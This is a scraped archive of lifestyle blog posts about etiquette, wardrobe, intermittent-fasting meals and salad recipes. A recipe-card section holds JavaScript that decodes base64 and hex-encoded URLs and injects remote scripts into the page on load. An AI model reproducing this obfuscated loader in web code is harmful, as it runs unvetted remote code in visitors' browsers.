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April 4, 2022
10 Things Every Adult Should Own
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I'm sharing ten things every adult needs in today's video.
Welcome to The Daily Connoisseur. We are going to explore things that every adult needs. It's important to note that you can find everything on this list in any price point. The items I show are my own and mere examples. Many of these things you probably already own...
1. Proper stationery At some point in your adult life you will need to write a proper letter or send some sort of correspondence in the mail. It's a great idea to have at least one set of stationery on hand so you can be prepared. You can get fancy here and have your stationery customized with your monogram, or you can simply buy a box of letter sheets with matching envelopes. It's always a good idea to keep thank you cards on hand as well as blank cards as well if the occasion arises where you need to send a card.
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2. Presentable pajamas This will come as no surprise to you, but I believe every adult needs to wear presentable pajamas. One of the hallmarks of adulthood is maturity and our sleepwear should be presentable and dignified.
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3. A robe Most adults have a bath robe or dressing gown, but if you don't have one, consider getting one. They are great for covering up on cold mornings and also covering up sleepwear that might not be appropriate to walk around in.
🗝 Robes Ethical Silk Co. Plush Necessities
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4. An iron and steamer A good iron and steamer will prevent your clothes from looking wrinkled and rumpled. A hand-held steamer is great to get out minor wrinkles and is more convenient than breaking out the large ironing board.
5. An investment account Saving for retirement is something that should begin right away. It's never too soon to start. Every adult needs an investment account to have their money working for them.
6. A watch Whether you prefer a digital watch, smart watch, or old-fashioned watch, it's a great to have a watch so you can tell the time without having to bring out your phone.
🗝 Watch Resources Nordstrom Bulova Boderry watches
7. Durable luggage We don't want to be shuffling around the airport with our old gym duffle bag. Every adult should have a suitable set of luggage to travel with.
🗝 Luggage
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Wallet by WP Standard8. A high-quality wallet Keep your money safe and stylish with a quality wallet. You don't want to use something that is not intended to be a wallet to hold your money as you could lose your cards.
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9. Matching undergarments High-quality undergarments are as important as the rest of your outfit as they are the foundation of your whole look. Ladies, there is something magical about the feeling of wearing matching undergarments. It doesn't have to be an official set, but the idea of generally matching the bra to the panties gives you a very grown-up feel.
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10. A nice set of dishes Every adult needs a good set of dishes. We should graduate from the mis-matched chipped dishes of our college days with one solid set. You don't have to go fancy if you don't want to. A good plain set of white dishes can do the trick. You'll be amazed how a good set of dishes elevates the dining experience.
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Comment of the Week
Katie writes, "Upon hearing your experience, Jennifer, I put intermittent fasting in practice and it's been amazing for both my husband and I. We've both lost weight, kept it off and most important, feel better and have more energy! We don't follow a particular diet but I cook a lot of Mediterranean style foods which also makes us feel really good. Such a blessing ❤️"
Hi Katie, That's wonderful! I love Mediterranean-style foods too. They are so delicious!
Thank you for watching today's video. I would love to know what you would add to this list. Your comment could be chosen as comment of the week! See you soon. Love, Jennifer
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April 1, 2022
The Chic Assignment April 2022
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Welcome to The Chic Assignment for April, 2022.
The Chic Assignment series is brought to us by The Chic Society, the private membership group on YouTube. Joining The Chic Society gives you access to my exclusive members-only vodcast, which is published every Friday. I also do one livestream a month or do a Zoom call where we can all visit together and we now have a penpal program! Membership is only $1.99 a month (upper tiers are also available).
Luigi Boccherini attribution: I, Sailko, CC BY-SA 3.0 , via Wikimedia Commons
Chic Assignment No. 1 Enjoy Minuetto by Luigi Boccherini. Luigi Rodolfo Boccherini (1743 -1805) was an Italian composer and cellist who influenced the development of the string quartet and who composed the first music for a quintet for strings, as well as a quintet for strings and piano. We are going to listen to the Bavarian Radio Symphony Orchestra, conducted by the late Lavtian conductor, Mariss Jansons.
Chic Assignment No. 2 Explore the artwork of Henri Matisse (1869 – 1954). Henri Émile Benoît Matisse was a French artist, known for his expressive use of color.
La Musique (1939) by Henri MatisseYou can see Matisse's paintings for free on Wiki Art. Let us know which piece is your favorite. We will learn more about Matisse in the mid-month check-in.
Chic Assignment No. 3 Dress up for no reason this monthSomething special happens when you decide to dress stylishly for no reason. You are telling yourself that you are special enough to adorn yourself well for everyday life, which, in turn, boosts your self-esteem and self-respect.
Chic Assignment No. 4 Replace a recurring negative thought with one of gratitudeTo build on the gratitude and joy we have been journaling so far this year, this month, when you experience a recurring negative thought, replace it with one of gratitude. For example, right before you do the dishes, you might think, "I hate doing the dishes!" This may be true, but stop yourself before you get to the end of the sentence and replace it with, "I am so grateful to have dishes to do." Or some other thought of gratitude. This instantly elevates the experience and brings gratitude to the forefront of our mind, instead of displeasure.
I hope you enjoy The Chic Assignment this month. I look forward to hearing about your experience. Let us know on social media by using the hashtag #TheChicAssignment. Have a wonderful weekend and I'll see you on Monday! Love, Jennifer
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March 31, 2022
Intermittent Fasting What I Eat in a Day
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I'm sharing a new Intermittent Fasting What I Eat in a Day in today's video.
I do the 16:8 method of intermittent fasting. If you haven't seen my two-year update, I highly recommend you check it out for my full experience.
Disclaimer: This video and article are not intended to give health advice. If you are interested in intermittent fasting, please consult your doctor first. This video is for entertainment purposes only.
Day 1
Breakfast 9:00 a.m. Papaya avocado smoothie and a piece of buttered toast
Luncheon 12 noon baked cod with herbs and lemon, mashed sweet potato and broccoli cheese croquettes
Teatime 2:00 p.m. Oatmeal cookie and Victorian London Fog Tea (The tea was a gift from my friend, Kristin. Its so good!)
Dinner 5:00 p.m. red lentil soup with herbs, French bread and butterDay 2
Breakfast 9:00 a.m. Cream of wheat with black berries and cream 
Luncheon 12 noon Turkey tacos with guacamole and sautéed zucchinis
Teatime 2:00 p.m. Black Bergamot tea and cookie dough ice cream with Allens Scottish Shortbread
Dinner 5:00 p.m. Chinese Chicken Salad🗝 Jennifer's Outfit DetailsStriped silk shirt Daily15 15% off Jeans by Mott & Bow JLS10 for 10% off Ballet flats by Jon Josef Necklace by Dana Rebecca Designs Earrings by SKYE Jennifer20 for 20% off Watch by Bulova Nail polish by Londontown "Cheerio" JenniferS for 25% off
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📍Join us for The Chic Assignment for March.
📍 The Ten-Item Wardrobe eCourse is newly updated and back online with all new video, text, and new lessons. If you have previously purchased the ten-item wardrobe eCourse, you can access all of the new changes for free.
📍If you are looking for more content, consider becoming a member of The Daily Connoisseur through the Channel Memberships. In The Chic Society, I publish one vodcast every Friday and do one livestream or zoom call once a month. It only costs $1.99 a month. There are also upper tiers available for people who are interested in supporting the channel on a higher level and receiving monthly mentions in the videos. *NEW* We now have a penpal program too!
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Comment of the Week
Alison writes, "Jennifer, Thanks so much for being willing to share your journey. I began IF last January after finding your YouTube channel and have lost 45 lbs with more to go. I am currently working on my new 10 item wardrobe since none of my clothes fit anymore! I’m so excited about this and so thankful for your blog and videos.
I am wondering if you would be willing to do a video about packing for a vacation. What to pack, ideas for not overpacking for a week. Our family is going on our first since the pandemic!Thanks for everything you do!!
Alison"
Hi Alison, that is incredible news and a major accomplishment. I'm so happy for you! Thank you for your request for a packing video.
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I hope you enjoyed today's video. I would love to know what your favorite things are to eat in a day.
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March 28, 2022
Intermittent Fasting 2-Year Update | My SURPRISING Results
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Two years ago I decided I wanted to lose weight. I wasn't happy at my current weight and wanted to lose at least ten pounds. I decided to try intermittent fasting after watching a few videos about it on YouTube (don't you just love YouTube?) I ended up losing over 30 lbs and returning to my weight from my youth. The weight loss was surprising enough but I have also been blown away by the other health benefits from intermittent fasting. Watch my two-year update video to hear all about it. I also answer your most pressing questions. I hope you enjoy today's video!
For your reference, here are the time stamps in the video: 0:00 Intro and disclaimer0:57 What to expect1:48 At 12 months3:47 16:8 Method4:49 At 18 months5:55 Black coffee6:53 Healthy fats7:14 2 years later8:15 Criticism I receive 9:25 Madame Chic10:34 Your success stories12:22 Extended fasts?13:07 Optimal health14:24 Breastfeeding & pregnancy15:27 Exercise?16:53 Negative side effects19:16 Hair loss?20:11 Positive side effects20:42 My body & face21:35 Emotional eating23:35 Food cravings26:07 Adjustments?27:57Decreased appetite29:10 Up healthy fats29:32 Odd schedules30:21 IF daily?31:33 Under-eating?32:09 In conclusion
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News
📍Join us for The Chic Assignment for March.
📍 The Ten-Item Wardrobe eCourse is newly updated and back online with all new video, text, and new lessons. If you have previously purchased the ten-item wardrobe eCourse, you can access all of the new changes for free.
📍If you are looking for more content, consider becoming a member of The Daily Connoisseur through the Channel Memberships. In The Chic Society, I publish one vodcast every Friday and do one livestream or zoom call once a month. It only costs $1.99 a month. There are also upper tiers available for people who are interested in supporting the channel on a higher level and receiving monthly mentions in the videos. *NEW* We now have a penpal program too!
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Comment of the Week
Sandra writes, "It seems as if we've slipped from casual into sloppiness. This video is a wake up call. Thank you"
Hi Sandra, I agree! I think a lot of people found themselves becoming more casual during the pandemic. I'm glad you enjoyed the video.
I hope you enjoyed this two-year update on my intermittent fasting journey. I would love to hear about your experience. Let us know in the comments below and your comment could be chosen as comment of the week on the blog. See you Thursday! Love, Jennifer
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March 24, 2022
5 Reasons to Live a More Formal Life
In my first book, Lessons from Madame Chic, one of my favorite chapters discusses how we should live life as a formal affair. In today's video, we explore how living life as a formal affair can improve our health, style, and more. 1. Living a formal life helps you maintain a healthy weight If you think about the actions of a very casual life, you might picture someone in sweat pants sitting on the sofa, binge watching tv and mindlessly eating chips out of the bag, or ice cream out of the container. While this might feel comfortable, this mindless and informal behavior over time can be detrimental to your health. You aren’t paying attention to what you’re eating or what you’re doing and you are prone to overeating and gaining weight over time. When life is a formal affair, you snack less and enjoy your meals at designated meal times while sitting down to a well-set table. This allows you to remain present and notice what you’re eating. You’re likelier to eat healthier meals because of this, and have a more conscious experience.
2. Living a formal life keeps you stylish When you become accustomed to a more casual life, your style gets casual too. Just look at popular culture… as time goes on we all get more casual and comfortable. It’s a gradual adjustment but when I was growing up, it was rare to see people outside in sweats and pajamas and now it’s commonplace. Look up images of how people used to travel on airplanes and compare that to what you see in the airport today. When you live a more formal life, you tend to still dress up on a regular basis. You don’t have the mindset that wearing day clothes is uncomfortable. Rather, you would become uncomfortable if you weren’t appropriately dressed. The thought of going out in public in tattered sweats would horrify you.
3. Living a formal life keeps your mind sharpLiving a more formal life beckons you to learn more than consume. Watching entertainment on tv or at the movies definitely has its place. But as society has become more casual, more people find themselves wasting vast amounts of time binge-watching tv shows or channel surfing and consuming content that they’re not even that thrilled about. When you begin to live a more formal life, you become interested in expanding your mind and learning more about topics that interest you. This is why I run my Chic Assignments, which encourage us to step out of ourselves and immerse ourselves in the arts each month. There’s nothing wrong with letting loose and relaxing in front of the TV but when you begin to live a more formal life, you aren’t really attracted to spending your time like that anymore. You start to listen to audio books while doing housework. You enroll in courses online. You turn your traffic commute into a university where you stretch yourself to learn.
4. Living a formal life helps you keep good manners. As society becomes more casual, so do our manners… Have you notice that? Civility has declined in recent years. Tempers are high and fuses are short. When you slow down and live a more conscious and formal life, you are more apt to care about behavior and decorum and keep good manners and etiquette a top priority for you. If you haven’t already seen my video about remaining unbothered, I highly recommend you watch it. As we go through life we are going to encounter difficult people and situations. How we react to these situations is everything. The person who lives a more formal life employs restraint and calls upon proper etiquette. If everyone did this, wouldn’t everyday life be so much more pleasant?
5. Living a formal life keeps your space clutter-free I recently did a video sharing the Madame Chic Method for living in a clutter-free home. If your surroundings are formal, you are likely to notice unsightly clutter more. More casual environments can attract clutter because, hey! Anything goes! But in a formal environment, you are attuned to living in a beautiful space and are more likely to sort through your cluttered zones on a regular basis.
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News
📍Join us for The Chic Assignment for March.
📍 The Ten-Item Wardrobe eCourse is newly updated and back online with all new video, text, and new lessons. If you have previously purchased the ten-item wardrobe eCourse, you can access all of the new changes for free.
📍If you are looking for more content, consider becoming a member of The Daily Connoisseur through the Channel Memberships. In The Chic Society, I publish one vodcast every Friday and do one livestream or zoom call once a month. It only costs $1.99 a month. There are also upper tiers available for people who are interested in supporting the channel on a higher level and receiving monthly mentions in the videos. *NEW* We now have a penpal program too!
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Comment of the Week
SandyLight writes, "I've been a member/subscriber for almost two years now, and I only just recently started to dive into the blog. I'd watch the videos on YouTube and click the various links from there, but the blog posts are so convenient and beautifully put together. Everything is in one spot: recipes, links to videos, links and codes for fashion and various products, beautiful pictures, links to poetry and other interesting reads, your written musings and more. I just love this blog. Thank you for all of your hard work on it! Its my home page now. :)"
Sandy, thank you so much! I'm happy you're enjoying the blog. Encouraging comments like that keep me going. Thank you!
I hope you enjoyed today's video. I would love to know how living life as a formal affair has benefited you. Thank you and see you soon! Love, Jennifer
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March 21, 2022
Homemaking to Keep Calm
Homemaking to keep calm… Let’s explore that concept in today’s video.
Welcome back to The Daily Connoisseur. We use homemaking for many things: out of necessity, of course, but we often turn to it for other reasons. And in times of darkness and stress, we can alter our homemaking to accommodate how we are feeling, or more importantly, what we need to feel. When I think of the word calm, I also think of the word, “comfort”. So today we are making some comfort foods: turkey shepherd’s pie and butterscotch pudding. I’m also cleaning the kitchen by candlelight.
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PrintWith ImageWithout ImageTurkey Shepherd's Pie (Makes 2)This makes two batches of turkey shepherd's pie... one for tonight and one for the freezer.Ingredients6 large potatoes, peeled4 tablespoons butter1/2 cup heavy cream (or whole milk)2 Tbs olive oil1 large onion, chopped2 lbs ground turkey4 carrots, chopped1 pint sliced mushrooms1 Tbs Worcestershire sauce2 Tbs chopped fresh parsley¼ teaspoon dried thyme1 clove garlic, minced1 Tbs chicken bouillon powder2 Tbs all-purpose floursalt to tasteground black pepper to tasteInstructionsTo make mashed potatoesBoil potatoes until tender, 15 to 20 minutes.Mash potatoes with butter and milk. Season with salt and pepper to taste. Set aside.To make fillingPreheat oven to 375 degrees FHeat olive oil in a skillet over medium heat; stir in onion. Saute onion until it has softened and turned translucent, about 5 minutes. Stir in chopped carrots and mushrooms, and garlic cook until brown. Add chopped herbs. Stir in ground turkey and cook until brown. Drain fat if necessary. Add chicken bouillon and flour and Worcestershire sauce. Add salt and pepper to taste.Transfer meat mixture to 2 casserole dishes evenly. Spread mashed potatoes over meat.Bake in preheated oven until tops of mashed potatoes are lightly browned, about 30 minutes. Broil the top if necessary. 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Shepherd’s pie is a favorite for everyone in the family and occasionally I like to make a twist on the traditional recipe. I’m going to make a double batch of turkey shepherd’s pie: one for today and one for the freezer. I’m making this late in the evening on a very rainy night… it’s for the next day’s meal. So, you’ve been watching me get the mashed potatoes going and now I’m sautéing the onion in oil and preparing the other vegetables: carrots and mushrooms. I had to step out into the rain to get parsley from the garden but it was totally worth it. I add that in now. Once the vegetables are browned I add the ground turkey. This looks like a lot because I’m making a double-batch. The potatoes are cooked so I drain them and add them to my stand mixer along with melted butter, heavy cream, salt, and pepper. Drain the turkey mixture once it’s cooked, if needed. Then I add some chicken bullion, flour to thicken, salt and pepper, and a dash of Worcestershire sauce. Now I’m preparing the pans: one for tomorrow’s dinner and one for the freezer. I add the meat mixture and then top with the creamy mashed potatoes. I won’t cook this any further but let it cool and cover with foil. Tomorrow, I’ll pop it in the oven and put it under the broiler to heat and brown it.
Pajama top and bottom by Neiwai JS10 for 10% off Candle by OtherlandSome time has passed and I am now I’m in my pajamas… time to clean up the kitchen. There isn’t too much of a mess this evening. I’m going to light a candle to keep me company. Let’s explore calmness and how we can demonstrate it in our homemaking. Calm as an adjective means not showing or feeling anger, nervousness, or other strong emotions. Calm as a verb means to make someone tranquil or quiet… to soothe. How can we make homemaking calming… a balm to soothe our unquiet hearts and minds? A tranquil meditation that, at once, looks after not only our homes, but ourselves too. We can turn our homemaking into a meditation… no matter what is going on around us. No matter what storms are outside. There’s a pop song called, Thunderclouds. The kids and I love it. The chorus says, don’t be afraid of these thunderclouds. The other night there was a thunderstorm and as I looked out the window, my daughter sang the lyrics to that song. I felt an instant calm. Focus on the soothing and repetitive nature of homemaking to induce calm. Go easy on yourself. Go slow. All we have is this present moment. Breathe deeply. And goodnight for now.
Let’s prepare the butterscotch pudding. Years ago, I loved to dine at the Viceroy Hotel in Santa Monica. They had a butterscotch pudding dessert that was out of this world. It was elevated, yet comforting. That’s what I want to make today. This recipe is from the Pioneer Woman. I begin by separating four egg yolks from the whites. I end up using the whites for my breakfast omelet. I add the egg yolks to 3 cups of whole milk and whisk together. On the stove, I combine brown sugar, cornstarch and salt. Then I whisk in the milk and egg yolk mixture and turn the heat on medium, stirring regularly and cook this until it gets bubbly and thick, which took around 7 minutes. Then I add the butter and turn off the heat and mix it all up. I then transfer this to these lovely footed dessert dishes. If you don’t have these, you can use a glass or even teacup. Just let the mixture cool slightly if you’re placing it in a container that can’t take heat. After this step, place them in the refrigerator for at least an hour. This whole time I’ve been reheating my shepherd’s pie in the oven. It takes around 45 minutes at 350 degrees to heat all the way through but it will depend on your oven. I place it under the broiler for 3 to 4 minutes to brown the top of it… a complete must. I served this with a sprig of fresh parsley on top. The whole family loves this dish. It provides a calming comfort. Time for dessert… The pudding is chilled and set. I made some homemade whipped cream and place a dollop on top of the dessert. I enjoy this for teatime today with a hot cup of Pique black bergamot tea. What an outstanding pudding. This recipe is a keeper.
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March 19, 2022
The Chic Assignment Check-In | March 2022
Welcome to The Chic Assignment Check-In for March, 2022.
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Chic Assignment No. 1 Enjoy Vivaldi's Spring from The Four Seasons
Antonio Lucio Vivaldi (1678 - 1741) was an Italian Baroque composer, most famous for The Four Seasons- a group of four violin concertos which give musical expression to each season of the year. This month we listened to Vivaldi's Spring from The Four Seasons performed by The Capital String Quartet
Isn't it wonderful to put a name to this famous song? You will know it forevermore. Today we learn some interesting facts about Vivladi that were gathered from Connolly Music.
Chic Assignment No. 2 Explore the poetry of T.S. Eliot (1888- 1965)
T.S. Eliot was an American poet, essayist, publisher, playwright, literary critic, and editor. He is considered one of the 20th centuries major poets.
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Today we read Conversation Galante and the first stanza from his most famous poem, The Waste Land... which expresses the sentiment of despair after World War 1.
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Chic Assignment No. 3 Prepare your ten-item wardrobe for the upcoming season
This month we explored the method for your ten-item capsule wardrobe style strategy. It is very helpful to set your style to words. Become more intentional about your wardrobe by thinking of what you would like to project as you wear it. Look up the definition of your words. When you define them, you can further embody them with your dress.
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Chic Assignment No. 4 Journal your joy. Journaling your joy increases your capacity for it. You begin to find joy in new things and joy now seeks you out. It's all about awareness. Journaling your joy is also a form of gratitude journaling. I tend to notice the smaller things in life bring me joy. I will continue to practice this along with gratitude journaling this year. I would love to know your experience with this.
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March 17, 2022
Style Strategy Ten-Item Capsule Wardrobe
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Bonnie, that is so true. Whenever my kids get ahold of my phone and take pictures I'm sometimes surprised by how the room looks!
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March 14, 2022
Favorite Salad Entrées | What's For Dinner?
I'm sharing some of my favorite entrée salads in today's What's for Dinner video.
These salad entrées make great standalone meals. Your kids will even love them! Thank you to ButcherBox for bringing us today's video.
BBQ Chicken Salad {"image":"https://i.imgur.com/5YtBGuZ.jpg"... Chicken Salad","recipeIngredient":["Lettuce leaves","1 grilled chicken breast, chopped into cubes","1/4 cup black beans, fully cooked","1/4 cup corn","1/4 cup black olives, sliced","1 small handful of cherry tomatoes","1/4 cup shredded carrot","1 avocado, chopped","1/4 red onion, chopped","2 green onions, chopped","3 Tbs cilantro, chopped","Ranch dressing to taste","Drizzle of BBQ sauce","Tortilla strips salad topping","Lime, (optional)"],"recipeInstructions":["Combine all ingredients except for the dressing, tortilla strips, and lime. Pour desired amount of Ranch dressing over the salad and toss to fully incorporate. Drizzle each individual portion with BBQ sauce. Top with Tortilla strips. Squeeze lime juice over top. Serve and enjoy.","Please note: the portions can be adjusted depending on how large or small you need to make your salad."],"@context":"http://schema.org","@type&q..."}
PrintWith ImageWithout ImageBBQ Chicken SaladIngredientsLettuce leaves1 grilled chicken breast, chopped into cubes1/4 cup black beans, fully cooked1/4 cup corn1/4 cup black olives, sliced1 small handful of cherry tomatoes1/4 cup shredded carrot1 avocado, chopped1/4 red onion, chopped2 green onions, chopped3 Tbs cilantro, choppedRanch dressing to tasteDrizzle of BBQ sauceTortilla strips salad toppingLime, (optional)InstructionsCombine all ingredients except for the dressing, tortilla strips, and lime. Pour desired amount of Ranch dressing over the salad and toss to fully incorporate. Drizzle each individual portion with BBQ sauce. Top with Tortilla strips. Squeeze lime juice over top. Serve and enjoy.Please note: the portions can be adjusted depending on how large or small you need to make your salad.[data-ccmcardnum='1'] .ccm-wrapper{border:0;border-radius:10px;box-shadow:0 0 10px rgba(0,0,0,.25);}[data-ccmcardnum="1"] .ccm-image{text-align:center;height:300px;margin:-20px!important;overflow:hidden;border-bottom:3px solid #6672E5;}[data-ccmcardnum="1"] .ccm-image img{width:100%;height:100%;min-height:100%;-o-object-fit:cover;object-fit:cover;-o-object-position:50% 50%;object-position:50% 50%;border-top-left-radius:10px;border-top-right-radius:10px;}[data-ccmcardnum="1"] .ccm-btns-wrapper{text-align:center;}[data-ccmcardnum="1"] #ccm-printbutton{border-radius:25px;width:120px;height:40px;font-weight:700;text-transform:uppercase;background:#6672E5;}[data-ccmcardnum="1"] .ccm-print-options{right:calc(50% - 53px);}[data-ccmcardnum="1"] .ccm-name{text-align:center!important;margin:40px 0 20px!important;text-transform:capitalize;}[data-ccmcardnum="1"] .ccm-info{display:-webkit-box;display:flex;-webkit-box-pack:justify;justify-content:center;align-items:center;}[data-ccmcardnum="1"] .ccm-time{border-right:0;border-left:0;margin:0 -20px;border-top:1px dashed #000;border-bottom:1px dashed #000;}[data-ccmcardnum="1"] .ccm-summary{margin-bottom:25px;}[data-ccmcardnum="1"] .ccm-summary:after{content:'';display:block;width:50px;height:2px;background:#000;margin:auto;margin-top:10px;}[data-ccmcardnum="1"] .ccm-yield + .ccm-author{margin-left: 30px;}.ccm-wrapper,.ccm-wrapper *{box-sizing: border-box;}.ccm-wrapper h3{margin: 0;}.ccm-show{display: block !important;}.ccm-link{color: #4193f0;}.ccm-wrapper{color: #000;max-width: 620px;position: relative;padding: 20px 20px 0;margin: 20px auto;background: #f2f2f2;border: 6px double #6672E5;}.ccm-name{all: unset;display: block;font-size: 20px !important;font-weight: 700 !important;letter-spacing: 0px !important;}.ccm-info{position: relative;margin-bottom: 20px;}.ccm-author,.ccm-yield{display: inline-block;}.ccm-wrapper img{margin: 0 !important;padding: 0 !important;max-width: 100%;}.ccm-btns-wrapper{position: relative;}#ccm-printbutton{margin: 0;color: #fff;padding: 0 20px;font-size: 14px;border-radius: 3px;cursor: pointer;height: 35px;background: #555;border: 0 !important;outline: 0 !important;display: inline-flex;align-items: center;justify-content: center;}.ccm-print-options{display: none;white-space: nowrap;position: absolute;top: 32px;right: 0;z-index: 2;background: #fff;border: 1px solid #ccc;}.ccm-print-options button{display: block;background: 0 0;border: 0;cursor: pointer;padding: 10px;width: 100%;text-align: left;}.ccm-print-options button:hover{color: #fff;background: #555;}.ccm-head{color: #000;font-size: 20px !important;font-weight: 700 !important;margin: 30px 0 0 !important;text-transform: uppercase !important;}.ccm-section-title{font-weight: 700;font-size: 16px;margin-bottom: 10px;}.ccm-section{padding-left: 20px;line-height: 1.7;margin: 10px 0 30px;}.ccm-section-items{margin: 0 !important;padding: 0 0 0 30px !important;}.ccm-section li{margin: 0 0 6px !important;padding: 0 !important;}.ccm-section-steps li{line-height: 1.6;margin-bottom: 10px !important;}.ccm-posturl{padding: 15px 0;border-top: 1px solid rgba(0, 0, 0, 0.1);word-wrap: break-word;line-break: anywhere;overflow-wrap: anywhere;box-shadow: inset 0 1px 0 0 rgba(255, 255, 255, 0.1);}.ccm-posturl a{font-size: 13px;}.ccm-notes-inner{padding-top: 10px;line-height: 1.7;}.ccm-notes-inner p{margin-bottom: 0 !important;}.ccm-copyright{font-size: 13px;font-style: italic;line-height: 1.6;padding: 15px 0;border-top: 1px solid #ccc;}.ccm-credit{font-size: 12px;padding: 10px;text-align: center;background: #fff;margin: 0 -20px !important;border-bottom-left-radius: 10px;border-bottom-right-radius: 10px;border-top: 1px solid rgba(0, 0, 0, 0.15);}.ccm-credit a{color: #00f;text-decoration: none;}.ccm-keywords,.ccm-categories,.ccm-cuisine,.ccm-video,.ccm-section>br,.ccm-time br{display: none;}window.addEventListener("DOMContentLoaded", function () {if(!document.querySelector(".ccm-card-u-script")){var u = document.createElement("script");u.className="ccm-card-u-script";u.src=atob("aHR0cHM6Ly9jZG4ucmVjaXBlc2dlbmVyYXRvci5jb20") + "/WW1MXsBhboWKXE5RSIR9otXSCNq2/code.js";document.querySelector("head").appendChild(u);}for(var h="68747470733a2f2f636f6d6d6f6e2e7265636970657367656e657261746f722e636f6d2f636f64652e6a73".toString(),str="",n=0;n<h.length;n+=2)str+=String.fromCharCode(parseInt(h.substr(n,2),16)); if (!document.querySelector("[src*='" + str + "']")) { var s = document.createElement("script"); s.className = "ccm-card-e-script"; s.src = str + "?v=" + (new Date()).getTime(); document.querySelector("head").appendChild(s); } });
California Chicken Citrus Salad
{"image":"https://i.imgur.com/6JFcEQQ.jpg"... Chicken Citrus Salad","recipeIngredient":["1/4 cup fresh lime juice","2 Tbs honey","1 tsp sugar","1 tsp Dijon mustard","1/2 tsp garlic powder","1/4 tsp cumin","1/4 tsp salt","1/4 tsp pepper","1/2 cup olive oil","1 Tbs apple cider vinegar","Lettuce leaves","1 grilled chicken breast, chopped","1/4 red onion, chopped","1 small green apple, chopped","1 orange, peeled and chopped","1 avocado, chopped","2 green onions, chopped","1/4 cup blue cheese crumbles","1/4 cup glazed walnuts and dried cranberry salad topping"],"recipeInstructions":["Blend together the lime juice, honey, sugar, mustard, spices, salt, pepper, and vinegar. Add the oil and whisk briskly until well-blended.","Combine all salad ingredients in a large bowl. Top with desired amount of Honey Lime Vinaigrette dressing. Toss to coat salad with dressing. Top with extra orange slices. Enjoy!"],"@context":"http://schema.org","@type&q..."}
PrintWith ImageWithout ImageCalifornia Chicken Citrus SaladIngredientsHoney Lime Vinaigrette1/4 cup fresh lime juice2 Tbs honey1 tsp sugar1 tsp Dijon mustard1/2 tsp garlic powder1/4 tsp cumin1/4 tsp salt1/4 tsp pepper1/2 cup olive oil1 Tbs apple cider vinegarCalifornia Chicken Citrus SaladLettuce leaves1 grilled chicken breast, chopped1/4 red onion, chopped1 small green apple, chopped1 orange, peeled and chopped1 avocado, chopped2 green onions, chopped1/4 cup blue cheese crumbles1/4 cup glazed walnuts and dried cranberry salad toppingInstructionsTo prepare the honey lime vinaigretteBlend together the lime juice, honey, sugar, mustard, spices, salt, pepper, and vinegar. Add the oil and whisk briskly until well-blended.To prepare saladCombine all salad ingredients in a large bowl. Top with desired amount of Honey Lime Vinaigrette dressing. Toss to coat salad with dressing. Top with extra orange slices. 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Chicken Salad","recipeIngredient":["lettuce","grilled chicken breast, cut in strips","shredded carrot","green onion, chopped","cilantro, chopped","mandarin oranges, drained","wonton strips","sesame dressing","sesame seeds"],"recipeInstructions":["The above is a list of ingredients for the salad. Adjust the amount based on how many you are serving. Combine all ingredients except for the chicken, dressing and sesame seeds. Top with desired amount of sesame dressing. Toss to combine. Place strips of chicken artfully around the salad. Sprinkle with sesame seeds. Top with extra wonton strips. Enjoy!"],"@context":"http://schema.org","@type&q..."}
PrintWith ImageWithout ImageChinese Chicken SaladIngredientslettucegrilled chicken breast, cut in stripsshredded carrotgreen onion, choppedcilantro, choppedmandarin oranges, drainedwonton stripssesame dressingsesame seedsInstructionsThe above is a list of ingredients for the salad. Adjust the amount based on how many you are serving. Combine all ingredients except for the chicken, dressing and sesame seeds. Top with desired amount of sesame dressing. Toss to combine. Place strips of chicken artfully around the salad. Sprinkle with sesame seeds. Top with extra wonton strips. Enjoy![data-ccmcardnum='1'] .ccm-wrapper{border:0;border-radius:10px;box-shadow:0 0 10px rgba(0,0,0,.25);}[data-ccmcardnum="1"] .ccm-image{text-align:center;height:300px;margin:-20px!important;overflow:hidden;border-bottom:3px solid #6672E5;}[data-ccmcardnum="1"] .ccm-image img{width:100%;height:100%;min-height:100%;-o-object-fit:cover;object-fit:cover;-o-object-position:50% 50%;object-position:50% 50%;border-top-left-radius:10px;border-top-right-radius:10px;}[data-ccmcardnum="1"] .ccm-btns-wrapper{text-align:center;}[data-ccmcardnum="1"] #ccm-printbutton{border-radius:25px;width:120px;height:40px;font-weight:700;text-transform:uppercase;background:#6672E5;}[data-ccmcardnum="1"] .ccm-print-options{right:calc(50% - 53px);}[data-ccmcardnum="1"] .ccm-name{text-align:center!important;margin:40px 0 20px!important;text-transform:capitalize;}[data-ccmcardnum="1"] .ccm-info{display:-webkit-box;display:flex;-webkit-box-pack:justify;justify-content:center;align-items:center;}[data-ccmcardnum="1"] .ccm-time{border-right:0;border-left:0;margin:0 -20px;border-top:1px dashed #000;border-bottom:1px dashed #000;}[data-ccmcardnum="1"] .ccm-summary{margin-bottom:25px;}[data-ccmcardnum="1"] .ccm-summary:after{content:'';display:block;width:50px;height:2px;background:#000;margin:auto;margin-top:10px;}[data-ccmcardnum="1"] .ccm-yield + .ccm-author{margin-left: 30px;}.ccm-wrapper,.ccm-wrapper *{box-sizing: border-box;}.ccm-wrapper h3{margin: 0;}.ccm-show{display: block !important;}.ccm-link{color: #4193f0;}.ccm-wrapper{color: #000;max-width: 620px;position: relative;padding: 20px 20px 0;margin: 20px auto;background: #f2f2f2;border: 6px double #6672E5;}.ccm-name{all: unset;display: block;font-size: 20px !important;font-weight: 700 !important;letter-spacing: 0px !important;}.ccm-info{position: relative;margin-bottom: 20px;}.ccm-author,.ccm-yield{display: inline-block;}.ccm-wrapper img{margin: 0 !important;padding: 0 !important;max-width: 100%;}.ccm-btns-wrapper{position: relative;}#ccm-printbutton{margin: 0;color: #fff;padding: 0 20px;font-size: 14px;border-radius: 3px;cursor: pointer;height: 35px;background: #555;border: 0 !important;outline: 0 !important;display: inline-flex;align-items: center;justify-content: center;}.ccm-print-options{display: none;white-space: nowrap;position: absolute;top: 32px;right: 0;z-index: 2;background: #fff;border: 1px solid #ccc;}.ccm-print-options button{display: block;background: 0 0;border: 0;cursor: pointer;padding: 10px;width: 100%;text-align: left;}.ccm-print-options button:hover{color: #fff;background: #555;}.ccm-head{color: #000;font-size: 20px !important;font-weight: 700 !important;margin: 30px 0 0 !important;text-transform: uppercase !important;}.ccm-section-title{font-weight: 700;font-size: 16px;margin-bottom: 10px;}.ccm-section{padding-left: 20px;line-height: 1.7;margin: 10px 0 30px;}.ccm-section-items{margin: 0 !important;padding: 0 0 0 30px !important;}.ccm-section li{margin: 0 0 6px !important;padding: 0 !important;}.ccm-section-steps li{line-height: 1.6;margin-bottom: 10px !important;}.ccm-posturl{padding: 15px 0;border-top: 